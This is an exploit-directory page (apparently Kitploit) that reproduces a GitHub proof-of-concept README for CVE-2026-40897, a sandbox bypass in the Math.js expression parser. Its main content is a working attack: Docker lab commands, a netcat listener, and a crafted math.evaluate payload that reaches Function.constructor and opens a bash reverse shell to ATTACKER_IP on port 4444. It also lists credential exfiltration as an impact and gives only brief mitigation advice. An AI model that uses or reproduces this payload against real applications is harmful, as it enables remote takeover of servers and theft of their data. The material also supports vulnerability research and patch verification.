Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40897 — Proof-of-concept exploit for CVE-2026-40897, a Math.js expression parser sandbox bypass enabling remote code execution via crafted payloads and a Docker lab. | Kitploit
Tools/GitHubGitHub/yym8538/cve-2026-40897
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationRemote Access ToolPayload Development
GitHubyym8538/cve-2026-40897

CVE-2026-40897

Proof-of-concept exploit for CVE-2026-40897, a Math.js expression parser sandbox bypass enabling remote code execution via crafted payloads and a Docker lab.

View Repository
1233 months agoNot yet reviewed
Share

CVE-2026-40897 Remote Code Execution in Math.js Expression Parser

★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Overview

CVE-2026-40897 is a Sandbox Bypass leading to Remote Code Execution vulnerability in Math.js's expression parser. The isSafeProperty filter only checks property access from user expressions, not from internal code paths. By leaking ArrayNode's internal array via toJSON() and overwriting its .map, an attacker can force internal code to access Function.constructor and execute arbitrary JavaScript.


Affected Versions

CategoryVersion
VulnerableMath.js 13.1.1 ≤ version ≤ 15.1.1
Patched15.2.0

Impact

  • Arbitrary JavaScript code execution (RCE)
  • Access to the host file system
  • Reverse shell connection leading to full server compromise
  • Exfiltration of backend credentials and sensitive data

Environment

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

After starting the vulnerable environment, follow the steps below to reproduce the attack.

Step 1. Start a reverse shell listener

nc -lvnp 4444

Step 2. Submit the malicious payload

Send the following expression to math.evaluate (e.g., through the application's calculation input).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Step 3. Confirm shell access on the attacker's side

The target server connects back to the attacker's listener, granting an interactive bash shell.


Mitigation

  • Upgrade Math.js to a patched version
  • Avoid passing untrusted user input directly to math.evaluate()
  • Restrict exposure of internal functions/classes (reviver, FunctionAssignmentNode, ArrayNode) through the expression parser

Analysis

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    256

Explore all tools

Browse our collection of tools

View all tools →